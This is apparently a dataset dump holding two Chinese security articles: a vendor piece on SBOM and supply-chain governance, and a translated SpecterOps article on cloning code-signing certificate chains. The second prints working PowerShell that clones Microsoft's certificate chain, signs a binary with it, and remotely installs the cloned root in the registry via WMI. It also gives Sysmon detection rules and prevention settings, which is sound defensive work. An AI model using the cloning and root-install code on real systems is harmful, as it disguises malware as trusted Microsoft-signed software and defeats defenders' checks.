text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
现代软件都是组装的而非纯自研。随着开源组件在数字化应用中的使用比例越来越高，混源开发已成为当前业内主流开发方式。开源组件的引入虽然加快了软件开发效率，但同时将开源安全问题引入了整个软件供应链。软件组成成分的透明性成为软件供应链安全保障的基础，SBOM（Software
Bill of Materials，软件物料清单）作为软件供应链安全治理的重要抓手，其在行业的应用实践速度明显加快。
### 软件供应链安全治理
#### 供应链安全概述
供应链（Supply
Chain）指生产及流通过程中，涉及将产品或服务提供给最终用户活动的上游与下游企业所形成的网链结构，即将产品从商家送到消费者手中整个链条。供应链的活动是指将自然原材料不断组装成消费者需要的成品的过程，描绘了产品供给关系。整个供应链系统涉及到人员、组织、材料、数据等。
软件供应链的定义由传统供应链概念扩展而来，指软件生命周期中从需求、设计、开发、构建、打包、发布、采购、部署、运维、下线到销毁整个链路，通常涉及软件生产者（供应商/上游）、软件使用者（消费者/下游）以及软件运营者（公司或者企业）三个方面。
软件供应链安全则是和针对软件供应链的攻击有关。攻击者通过网络工具、下载投毒、代码污染、漏洞利用、授权流氓等手段在软件供应链各个活动环节中，对企业业务系统进行破坏性操作。近几年比较严重的软件供应链安全事件有SolarWinds（太阳风暴）攻击、Realtek
WiFi SDK漏洞、Apache Log4j2漏洞等。
#### 风险治理重点
软件供应链过程风险治理，主要包括软件来源管理、软件安全合规性管理、软件资产管理、服务支持及安全应急响应，目的是提升软件供应链可追溯性和透视性。其中重点的治理内容，包括软件资产的第三方组件威胁审查、软件安全合规性管理。
图1 软件供应链治理重点区域
为了帮助企业有效解决软件供应链安全问题，SBOM作为软件供应链安全关键的技术工具之一，能够达到统一描绘软件资产信息格式、协助对采购软件和自研软件风险评估、形成软件供应链活动中传递的软件信息接口标准。
### 何为SBOM
早期SBOM的概念源自制造业，其中物料清单BOM是用来详细说明产品中包含的所有项目的清单。例如在汽车行业，制造商为每辆车提供一份详细的物料清单，列出原始设备制造商制造的部件以及来自第三方供应商的部件。当发现有缺陷的部件时，汽车制造商可以准确地知道哪些车辆受到影响，进而通知车主维修或更换。软件物料清单SBOM则是用来描述软件产品中包含的组件物料信息，示例如下：
图2 SBOM示例
但随着供应链安全事件的升级，2021年7月12日美国在关于改善国家网络安全的行政命令（EO
14028第10节）中将SBOM定义为“包含构建软件中使用的各种组件的详细信息和供应链关系的正式记录”。软件开发商和供应商通常通过组装现有的开源和商业软件组件来创建产品，新的定义将软件供应链关系纳入记录范围。
图3 组件关系图示
#### SBOM的元素
图4 NTIA《The Minimum Elements For a Software Bill of Materials （SBOM）》
美国NTIA（National Telecommunications and Information
Administration，国家电信和信息管理局）2021年7月发布了SBOM所包含的最小必需元素。这些元素包含以下三类：
SBOM最小必需元素描述了实践过程中需要的元素最小集，相关组织和机构可通过参考以上三类元素，并扩展企业自身需要管理的额外信息，构成适合自身的标准SBOM清单。从国内开源组件管理要求和软件全生命周期风险角度分析，推荐适合扩展数据字段如下：
#### SBOM的格式
目前SBOM主要通过三种格式来进行实施：
**1.SPDX**
SPDX是一种国际开放标准（ISO/IEC
5962:2021）格式，包含与软件包相关的组件、许可证、版权和安全参考信息。SPDX标准由Linux基金会主办的草根开源项目开发，目前维护到最新2.3版本，特点是对许可证的详细信息支持较好，主要输出文件格式包括RDF、XLS、SPDX、YAML、JSON。
SPDX
Lite是SPDX的轻量级子集，适用于不需要完整SPDX的场景，旨在让没有开源许可知识或经验的人易于使用，用于平衡SPDX标准与某些行业工作流程实际需求。
**2.CycloneDX**
CycloneDX专为安全环境和供应链组件分析而构建，是一种轻量级SBOM标准，可用于应用程序安全上下文和供应链组件分析。CycloneDX源于OWASP社区的开源项目，由提供战略方向和标准维护的核心团队指导。目前最新维护到1.4版本，可扩展格式并集成SPDX许可证ID、pURL和其他外部标识符，主要输出格式包括XML、JSON。
**3.SWID**
SWID是一个标准化的XML格式，可以识别软件产品的组成部分并将其与上下文结合，记录有关软件组件的唯一信息，如产品名称、版本详细信息等。SWID标签在SDLC发布后添加作为软件产品的一部分，在软件安装时将标签信息添加到系统终端，并在产品卸载后自动删除。
#### SBOM使用场景
1）从广义的分类上看，SBOM有三种不同的使用场景：
〇 软件生产商使用SBOM来协助构建和维护他们提供的软件；
〇 软件采购商使用SBOM来进行采购前参考、协商折扣和制定采购策略；
〇 软件运营商使用SBOM为漏洞管理和资产管理提供信息，管理许可和合规性，并快速识别软件和组件依赖关系以及供应链风险。
2）从企业角色类型来看，对SBOM有不同的使用需求：
〇 项目团队：用于管理软件资产，在开发早期即可评估安全风险，筛选适合的组件/软件，并持续更新SBOM；
〇 安全团队：通过提交的SBOM分析软件风险，并通过统一管理进行持续监控，及时响应安全事件；
〇 法务团队：核查软件授权问题，避免后续公司业务自身权益受到损害。
图5 企业管理角色SBOM使用需求
### 如何使用SBOM
#### 选择SBOM工具
企业级SBOM为便于统一管理，应该使用一致的格式，如前文所述的SPDX、SWID和OWASP
CycloneDX。美国2021发布的行政命令并未强制要求企业使用SBOM的哪种特定格式。到目前为止，并没有对比出这三者中哪一种格式是最好的，也没有确定的行业标准限定一定使用哪种格式。大多数SBOM工具，会捆绑代码安全扫描程序和其他程序，企业需要根据自身需求选型。以下提供对于选择SBOM工具的一些建议。
Gartner建议了生成SBOM的工具应当具有的能力：
〇 可融入构建过程，可自动创建SBOM；
〇 可分析源代码和二进制文件（如容器镜像）；
〇 对检测的组件进行SCA检测生成SBOM；
〇 可对生成的SBOM进行编辑；
〇 以可读的格式查看、比较、导入和验证SBOM；
〇 可合并多个SBOM的内容，并可将其从一种格式或文件类型转换为另一种格式或文件类型；
〇 支持通过API和库让其他工具使用SBOM并进行操作。
#### 在SDLC中完成SBOM
当SBOM被重新定义后，SBOM具有更高的透明度、具体来源和传播效率，企业机构在一定条件下通过SBOM即可识别和修复漏洞风险。且SBOM还可以指导开发人员或供应商在整个SDLC中进行应用安全软件开发实践。以下说明了SBOM如何在SDLC中完成组装的过程，供实践人员进行参考：
图6 《软件生命周期和物料清单装配线的说明示例》
注：物料（Material）、元数据（Metadata）、引用（Reference）、供应商（Supplier）、使用方（Consumer）、Example
Bom fragment（片段示例）
SDLC各阶段SBOM装配内容及方式说明：
SBOM装配过程通过人为维护工作量较为巨大，建立元数据信息库，并借助SCA检测工具将装配融入CI/CD流程中，可大大降低实施难度。
#### SBOM与风险情报关联
SBOM记录了软件的组件组成信息，供应商或开发者可以通过提供SBOM清单至组件漏洞信息分析平台，获取最新漏洞风险情报从而进行修复和更新SBOM。并且安全运营人员可通过维护SBOM清单库，在有漏洞情报推送或供应链安全事件发生时，快速反向定位存在风险的软件，从而加速了供应链攻击事件应急响应速度。
图7 使用SBOM生成软件风险信息
#### 围绕SBOM建立管理流程
在确定了SBOM的格式与对应的工具后，可围绕SBOM统一安全评估标准建立软件生命周期威胁卡口。管理流程由企业安全流程管理团队统一制定，并授权软件供应链安全评测团队进行安全评估测试，输出评估结果。其通用管理流程框架如下：
图8 围绕SBOM建立安全管理流程
**1.建立基线**
根据已清点的资产，进行白名单、黑名单组件基线建立，指导后续组件选用；
**2.安全设计评估**
在项目进行需求设计时、安全评审阶段，对选用的第三方组件进行风险评估，并依据白名单、黑名单组件基线选用安全组件；
**3.应用安全测试**
除了对组件风险进行管控外，在应用上线、发布过程中，对应用系统进行应用安全测试，发现存在的应用漏洞威胁；
**4.CI/CD缺陷修复 &跟踪**
将发现的风险接入CI/CD缺陷修复&跟踪平台，如Jira、禅道等，提前修复缺陷并更新SBOM中应用漏洞风险信息；
**5.产品制品发布**
发布产品制品时，同时生成SBOM。经过安全管理流程对软件和软件SBOM进行安全评测，出具安全测试报告。
### 关于SBOM的思考
随着供应链攻击检测要求加入HW攻击演练评分中，软件供应链安全建设愈发受到重视。当前软件供应链安全治理的落地主要考虑第三方开源组件的治理，主要通过SCA工具及相关治理办法，对软件引入的第三方开源组件进行威胁检测和管理。广义上的软件供应链安全治理则需要扩展治理范围至完整软件生命周期、供营商管理、自动化流程建设，且具备持续运维监控、应急响应能力等。
SBOM主要价值在于帮助企业组织提高软件透明性，并且形成在软件供应链环节中便于交换传递的接口标准，同时能够描绘软件资产信息。在解决软件资产管理“看不清”和“跟不上”的主要痛点上，将SBOM作为软件资产管理能力基础，围绕SBOM建立较为完善的软件供应链治理体系。成熟的SCA工具应当兼容多种SBOM格式，可导入不同供应商提供的不同格式SBOM，并对不同格式SBOM进行转换和集中管理，且便于融入到自动化流程。悬镜源鉴SCA在满足以上SBOM能力需求的基础上，也在开源OpenSCA提供了公开SBOM生成工具，方便软件生产商自动生成SBOM清单。
网络安全的本质是风险与信任的平衡，软件供应链安全治理的本质则是安全可信的持续传递。悬镜安全在“用开源的方式做开源风险治理”理念的指导下，凭借多年沉淀的“All
In
One”智能代码疫苗技术，为广大数字化应用提供威胁免疫安全基因，并通过旗下全球极客开源安全社区OpenSCA及其商业版源鉴SCA、灵脉IAST等软件供应链安全核心产品，从源头追踪软件供应链在开发、测试、部署、运营等关键环节面临的应用安全风险与未知外部威胁，帮助企业用户逐步构筑一套适应自身业务弹性发展、面向敏捷业务交付并引领未来架构演进的共生积极防御体系。
* * *
感谢每一位开源社区成员对OpenSCA的支持和贡献。
OpenSCA的代码会在GitHub和Gitee持续迭代，欢迎Star和PR，成为我们的开源贡献者，也可提交问题或建议至Issues。我们会参考大家的建议不断完善OpenSCA开源项目，敬请期待更多功能的支持。
GitHub：
<https://github.com/XmirrorSecurity/OpenSCA-cli/releases>
Gitee：
<https://gitee.com/XmirrorSecurity/OpenSCA-cli/releases>
OpenSCA官网：
<https://opensca.xmirror.cn/> | 社区文章 |
# 代码签名证书克隆攻击及防御方法
|
##### 译文声明
本文是翻译文章，文章原作者 Matt Graeber，文章来源：specterops.io
原文地址：<https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec>
译文仅供参考，具体内容表达以及含义原文为准。
> 在阅读本文章之前，请大家先思考一个问题：“如果你看到一个由微软（或其他知名厂商）签名的文件，你的第一想法是什么？”
## 介绍：SOC分析师使用Autoruns时的场景
假设我们在一个安全运营中心（SOC）工作，我们的职责是在40000个主机上建立持久性条目，具体任务是检查每个运行密钥的持久性。为完成这一任务，我们在企业中部署了Sysinternals，在每个系统上运行Autoruns，并将结果转发到Splunk上，这样就能实现了轻松管理。一些有经验的分析师可能会知道，经过签名的微软应用程序可能会被滥用，所以在运行autorunsc.exe时，我们需要确保“Microsoft”和“Windows”条目不被隐藏。我们将所有常规结果集中在一起，并重点关注其中的异常值，随后从40000个主机中找到了6台主机的系统存在如下异常：
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun
SecurityAudit
C:Windows DefenderMpCmdRun.exe
Microsoft Malware Protection Command
Line Utility
(Verified) Microsoft Corporation
4.12.16299.15
c:windows defendermpcmdrun.exe
11/25/1912 5:39 AM
于是，我们采取了下列步骤，进一步确定这个条目是否可疑：
1\. 我们注意到该文件是经过验证的“Microsoft Corporation”文件，知道它是经过微软签名的，这个特殊的签名并不容易被黑客滥用。
2\. 随后，我们百度“MpCmdRun.exe”关键词，确认它确实与Windows Defender有关。
3\. 假设企业已经接受了风险，于是我们启用VirusTotal和Autoruns，其返回结果表明没有杀毒软件认为该文件具有风险。
4\. 我们仍然不是很确定为什么该条目会出现异常，但是考虑到我们的企业是一个巨大、复杂的环境，因此也并不存在完美的基线。
5\. 我们将其视为误报，因为我们确信MpCmdRun并没有被滥用，并且之后将这个哈希值加入白名单。然后紧接着，我们就去处理下一个异常条目了。
这样的场景，也许大家看来非常熟悉。但不幸的是，我们使用了Autoruns，就代表着忽略掉了一些直接的证据。并且，我们不仅仅忽略这一次，由于加入了白名单，就注定了我们在以后也将会一直忽略它。
## 证书链克隆与克隆根证书可信攻击
然而，我们SOC的分析师未能发现，MpCmdRun.exe使用了克隆的微软证书链进行签名。其原因在于，攻击者在受感染的目标系统上，信任了其克隆的根证书。那么，攻击者如何进行这样的攻击呢？具体步骤可总结如下：
1\. 将合法证书链中的所有证书导出到磁盘，这些证书将用作克隆证书链的模板。
2\. 使用已经导出到磁盘的证书链，创建一个克隆的证书链。PowerShell中的 New-SelfSignedCertificate
cmdlet（https://docs.microsoft.com/en-us/powershell/module/pkiclient/new-selfsignedcertificate?view=win10-ps）中包含一个非常方便的“-CloneCert”和“-Signer”参数，可以用来实现上述内容。在克隆该链的过程中，便可以使用克隆的证书链对恶意代码进行签名。
3\. 此外，还需要导出克隆的根证书。原因在于，需要在目标系统上信任此证书，以使得经过签名的恶意代码能被成功验证，并被安全工具识别为合法代码。
[这个视频](https://youtu.be/5rjJnxl50Dg)（YouTube）展示了手动导出用于对kernel32.dll进行签名的证书链的过程。
现在，微软的证书链已经导出到磁盘，接下来可以将其用作创建假冒证书链的模版。可以使用以下代码来实现：
# We'll just store the cloned certificates in
current user "Personal" store for now.
$CertStoreLocation = @{ CertStoreLocation =
'Cert:CurrentUserMy' }
$MS_Root_Cert = Get-PfxCertificate -FilePath
C:TestMSKernel32Root.cer
$Cloned_MS_Root_Cert =
New-SelfSignedCertificate -CloneCert $MS_Root_Cert @CertStoreLocation
$MS_PCA_Cert = Get-PfxCertificate -FilePath
C:TestMSKernel32PCA.cer
$Cloned_MS_PCA_Cert =
New-SelfSignedCertificate -CloneCert $MS_PCA_Cert -Signer $Cloned_MS_Root_Cert
@CertStoreLocation
$MS_Leaf_Cert = Get-PfxCertificate -FilePath
C:TestMSKernel32Leaf.cer
$Cloned_MS_Leaf_Cert =
New-SelfSignedCertificate -CloneCert $MS_Leaf_Cert -Signer $Cloned_MS_PCA_Cert
@CertStoreLocation
# Create some sample code to practice signing
on
Add-Type -TypeDefinition @'
public class Foo {
public static void Main(string[] args) {
System.Console.WriteLine("Hello, World!");
System.Console.ReadKey();
}
}
'@ -OutputAssembly C:TestHelloWorld.exe
# Validate that that HelloWorld.exe is not
signed.
Get-AuthenticodeSignature -FilePath
C:TestHelloWorld.exe
# Sign HelloWorld.exe with the cloned
Microsoft leaf certificate.
Set-AuthenticodeSignature -Certificate
$Cloned_MS_Leaf_Cert -FilePath C:TestHelloWorld.exe
# The certificate will not properly validate
because the root certificate is not trusted.
# View the StatusMessage property to see the
reason why Set-AuthenticodeSignature returned "UnknownError"
# "A certificate chain processed, but
terminated in a root certificate which is not trusted by the trust
provider"
Get-AuthenticodeSignature -FilePath
C:TestHelloWorld.exe | Format-List *
# Save the root certificate to disk and
import it into the current user root store.
# Upon doing this, the HelloWorld.exe
signature will validate properly.
Export-Certificate -Type CERT -FilePath
C:TestMSKernel32Root_Cloned.cer -Cert $Cloned_MS_Root_Cert
Import-Certificate -FilePath
C:TestMSKernel32Root_Cloned.cer -CertStoreLocation Cert:CurrentUserRoot
# You may need to start a new PowerShell
process for the valid signature to take effect.
Get-AuthenticodeSignature -FilePath
C:TestHelloWorld.exe
[这个视频](https://youtu.be/qF6h2he5B7g)（YouTube）展示了上述代码运行的过程。
那么，为什么这种攻击方法能够有效呢？原因在于，要验证一个数字签名，主要是验证以下内容：
1\. 完整性验证：验证文件的哈希值是否与签名中的哈希值一致。若二者不一致，则证明文件的完整性已经被破坏，该文件不应被信任。
2\. 证书链验证：验证每个证书是否由父证书（链中的前一个证书）正确签发。
3\. 证书有效性检查：如果数字签名带有时间戳，则验证时间戳证书的计数签名链（Timestamping Certificate Counter-Signature Chain）；如果链中的每个证书都没有时间戳，则逐一验证这些证书是否在规定的有效期内。
4\. 吊销检查：检查链中的全部证书是否已被管理员吊销，是否已经被列为不受信任的证书。
5\. 根CA验证：验证签名链（Signer Chain）中的根证书是否为可信证书。
从技术上来说，我们的克隆证书能够通过上述全部验证，因此会被任何进行签名验证的工具（例如：Sigcheck、Autoruns、Procexp、反病毒软件等）判定为合法证书。
如果你观看了上述视频，可能会注意到，在“CurrentUser”存储位置安装根证书时，会弹出一个对话框询问是否信任该证书。但如果以管理员权限运行，则不会出现该提示。我非常难以理解的一点是，为什么非管理员用户居然能够选择信任根CA证书，出于安全考虑，这种情况显然应该不被允许。
## 攻击过程
之前的视频中，演示了如何在本地创建根证书并信任该证书。然而，在现实的攻击场景中，我们并不会克隆证书链并在目标系统上对恶意文件进行签名。事实上，我们会创建一个克隆链，并在目标系统上对恶意代码进行签名。目前来说，最大的一个问题仍然是如何让目标系统信任我们克隆的CA证书。最直接的方案就是将其放在磁盘并安装它，然而该方案难以实现。另一种方法，我们还可以以管理员的身份，直接在注册表中安装并信任证书。以下代码，示范了如何使用WMI对克隆的根CA证书进行远程安装并信任该证书：
$CertThumbprint
= '1F3D38F280635F275BE92B87CF83E40E40458400'
$EncodedCertBlob
=
'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'
Invoke-CimMethod
-Namespace root/default -ClassName StdRegProv -MethodName CreateKey -Arguments
@{
hDefKey = [UInt32] 2147483650 # HKLM
sSubKeyName =
"SOFTWAREMicrosoftSystemCertificatesROOTCertificates$CertThumbprint"
}
Invoke-CimMethod
-Namespace root/default -ClassName StdRegProv -MethodName SetBinaryValue
-Arguments @{
hDefKey = [UInt32] 2147483650 # HKLM
sSubKeyName = "SOFTWAREMicrosoftSystemCertificatesROOTCertificates$CertThumbprint"
sValueName = 'Blob'
uValue =
[Convert]::FromBase64String($EncodedCertBlob)
}
在上述代码中，$EncodedCertBlob是导出的克隆根CA证书文件经过Base64编码后的内容。$CertThumbprint是指纹值，即证书的SHA1哈希值。因此，在安装该证书之后，任何使用来自该CA证书签名的代码都会被正确验证。在这种特定情况下，这段代码还会被显示为经过微软签名的代码。
## 检测恶意根CA证书安装
考虑到这种攻击方式的重点，在于安装根CA证书。因此，我们要检测这一恶意行为，最重要的就是检测安装证书的动作。由于根CA证书的安装并不常见，所以通过对注册表进行监控，我们应该能以相当低的误报率发现这一行为并进行告警。Sysmon便可以出色地实现这一检测的功能，下面是捕获根证书安装行为的相关配置：
<Sysmon
schemaversion="3.4">
<HashAlgorithms>*</HashAlgorithms>
<EventFiltering>
<!-- Event ID 12,13,14 == RegObject
added/deleted, RegValue Set, RegObject Renamed. -->
<RegistryEvent
onmatch="include">
<!-- LocalMachine or CurrentUser ROOT
certificate installation -->
<!-- Reference:
https://technet.microsoft.com/en-us/library/cc783813(v=ws.10).aspx -->
<TargetObject
condition="contains">SoftwareMicrosoftSystemCertificatesRootCertificates</TargetObject>
<TargetObject condition="contains">SOFTWAREPoliciesMicrosoftSystemCertificatesRootCertificates</TargetObject>
<TargetObject condition="begin
with">HKLMSOFTWAREMicrosoftEnterpriseCertificatesRootCertificates</TargetObject>
<!-- LocalMachine or CurrentUser CA
certificate installation -->
<TargetObject
condition="contains">SoftwareMicrosoftSystemCertificatesCACertificates</TargetObject>
<TargetObject
condition="contains">SOFTWAREPoliciesMicrosoftSystemCertificatesCACertificates</TargetObject>
<TargetObject condition="begin
with">HKLMSOFTWAREMicrosoftEnterpriseCertificatesCACertificates</TargetObject>
<!-- LocalMachine or CurrentUser
AuthRoot certificate installation -->
<TargetObject
condition="contains">SoftwareMicrosoftSystemCertificatesAuthRootCertificates</TargetObject>
<TargetObject
condition="contains">SOFTWAREPoliciesMicrosoftSystemCertificatesAuthRootCertificates</TargetObject>
<TargetObject condition="begin
with">HKLMSOFTWAREMicrosoftEnterpriseCertificatesAuthRootCertificates</TargetObject>
</RegistryEvent>
</EventFiltering>
</Sysmon>
当有根证书安装事件触发时，其告警内容如下所示：
Registry
value set:
EventType: SetValue
UtcTime: 2017-12-20 17:12:11.999
ProcessGuid: {7ed59fb9-99eb-5a3a-0000-00102ab1af06}
ProcessId: 4404
Image: C:WINDOWSsystem32wbemwmiprvse.exe
TargetObject:
HKLMSOFTWAREMicrosoftSystemCertificatesROOTCertificates1F3D38F280635F275BE92B87CF83E40E40458400Blob
Details: Binary Data
使用此规则集，我们可能会收到很多CreateKey事件的误报，但我们只需重点关注的是TargetObject属性以“<THUMBPRINT_VALUE>Blob”结尾的Setvalue事件，因为这表示直接安装或者修改了根证书的二进制大对象（Blob），其误报率相当低。
然而，比较不方便的一点是，Sysmon的配置还暂不支持将注册表事件限制为特定的EventType，也不允许在规则条目中使用通配符。
那么，接下来的一个问题就是：我怎么知道这个根证书安装的过程，是否是恶意的？
按照常规逻辑，我们首先要做的就是查看证书的内容，并寻找其中是否有引人注意的内容。我们可以借助PowerShell来轻松实现证书的查看。
Get-ChildItem
-Path Cert: -Recurse | Where-Object { $_.Thumbprint -eq
'1F3D38F280635F275BE92B87CF83E40E40458400' } | For
mat-List *
在运行此命令后，可能会显示如下结果：
PSPath :
Microsoft.PowerShell.SecurityCertificate::LocalMachineRoot1F3D38F280635F275BE92B87CF83E40E40458400
PSParentPath :
Microsoft.PowerShell.SecurityCertificate::LocalMachineRoot
PSChildName :
1F3D38F280635F275BE92B87CF83E40E40458400
PSDrive : Cert
PSProvider : Microsoft.PowerShell.SecurityCertificate
PSIsContainer : False
EnhancedKeyUsageList : {}
DnsNameList : {Microsoft
Root Certificate Authority 2010}
SendAsTrustedIssuer : False
EnrollmentPolicyEndPoint : Microsoft.CertificateServices.Commands.EnrollmentEndPointProperty
EnrollmentServerEndPoint :
Microsoft.CertificateServices.Commands.EnrollmentEndPointProperty
PolicyId :
Archived : False
Extensions :
{System.Security.Cryptography.Oid, System.Security.Cryptography.Oid,
System.Security.Cryptography.Oid}
FriendlyName :
IssuerName :
System.Security.Cryptography.X509Certificates.X500DistinguishedName
NotAfter : 11/30/2042
9:06:37 PM
NotBefore : 12/1/2017
1:55:14 PM
HasPrivateKey : False
PrivateKey :
PublicKey :
System.Security.Cryptography.X509Certificates.PublicKey
RawData : {48, 130, 5,
219...}
SerialNumber :
52761736EEA4458142453E2D73FA89B2
SubjectName :
System.Security.Cryptography.X509Certificates.X500DistinguishedName
SignatureAlgorithm :
System.Security.Cryptography.Oid
Thumbprint : 1F3D38F280635F275BE92B87CF83E40E40458400
Version : 3
Handle : 1849876297952
Issuer : CN=Microsoft
Root Certificate Authority 2010, O=Microsoft Corporation, L=Redmond,
S=Washington, C=US
Subject : CN=Microsoft
Root Certificate Authority 2010, O=Microsoft Corporation, L=Redmond,
S=Washington, C=US
从表面上来看，这个证书感觉像是合法的。但具体而言，是什么使得这个证书合法或者可信？我们将会在本文的最后一节中介绍。
## 防止恶意的“CurrentUser”根CA证书安装
在演示根CA安装的视频中，它是在当前用户的环境下进行的。尽管针对管理员用户来说，并没有较强的证书安装防范机制，但在当前用户环境下，我们可以通过设置注册表相关键值来防止安装根证书：
HKLMSOFTWAREPoliciesMicrosoftSystemCertificatesRootProtectedRoots
- Flags (REG_DWORD) - 1
虽然在官方文档中，并没有详细说明这个注册表键值，但在Windows
SDK中的wincrypt.h中，还是提供了一些关于“Flags”值设置的线索。头文件中关于如何设置“Flags”值的说明如下：
//
Set the following flag to inhibit the opening of the CurrentUser's
// .Default physical store when opening the CurrentUser's "Root"
system store.
// The .Default physical store open's the CurrentUser SystemRegistry
"Root"
// store.
#define CERT_PROT_ROOT_DISABLE_CURRENT_USER_FLAG 0x1
//
Set the following flag to inhibit the adding of roots from the
// CurrentUser SystemRegistry "Root" store to the protected root list
// when the "Root" store is initially protected.
#define CERT_PROT_ROOT_INHIBIT_ADD_AT_INIT_FLAG 0x2
在设置此键值后，如果尝试将根CA证书安装到CurrentUser根存储位置，将会出现拒绝访问错误（Access Denied Error）。
尽管这并不是最强大的预防性方案，但这是一个有效的方法，可以防止非管理员用户随意地选择信任根CA证书。
正如其他需要强制执行的预防措施一样，管理员首先需要考虑的是“在我的环境中有可能会发生什么事情”。正如其他的预防措施一样，最重要的一点是要在环境中分阶段地进行相应限制。不管出于任何原因，一旦我们允许任何用户信任根证书，那么攻击者或恶意软件就也有能力去信任任意的根证书。在这里，Windows管理员将始终可以通过[组策略](https://technet.microsoft.com/en-us/library/cc754841%28v=ws.11%29.aspx)的方式，指定受信任的根证书。根据我们最近发现的一个案例，一个[Savitech音频驱动程序](https://www.bleepingcomputer.com/news/security/popular-usb-audio-driver-ships-with-root-certificate-big-security-no-no/)能够在不提醒用户的情况下安装自己的根证书。但一旦我们进行了上述配置，只有管理员账户才有权信任此证书。相比于[获得微软信任](https://technet.microsoft.com/en-us/library/cc751157.aspx)的根证书，其他根证书就不会再那么轻易地得到管理员的信任。
## 对于根CA信任的适当验证
很久以来，我都没有找到太好的证书信任的验证方式，直到2.60版本的Sigcheck（https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck）发布。在该版本中，引入了“-v”参数，可以与“-t”或者“-tu”一起使用：
-t[u][v] Dump contents of specified certificate store
('*' for all stores). Specify -tu to query the user store (machine store is the
default). Append '-v' to have Sigcheck download the trusted Microsoft root
certificate list and only output valid certificates not rooted to a certificate
on that list. If the site is not accessible, authrootstl.cab or authroot.stl in
the current directory are used instead, if present.
下面是输出的样例：
sigcheck64.exe
-tuv -nobanner
UserRoot:
Microsoft Root Certificate Authority
2010
Cert Status: Valid
Valid Usage: All
Cert Issuer: Microsoft Root Certificate Authority 2010
Serial Number: 52 76 17 36 EE A4 45 81 42 45 3E 2D 73 FA 89
B2
Thumbprint: 1F3D38F280635F275BE92B87CF83E40E40458400
Algorithm: sha256RSA
Valid from: 1:55 PM 12/1/2017
Valid to: 9:06 PM 11/30/2042
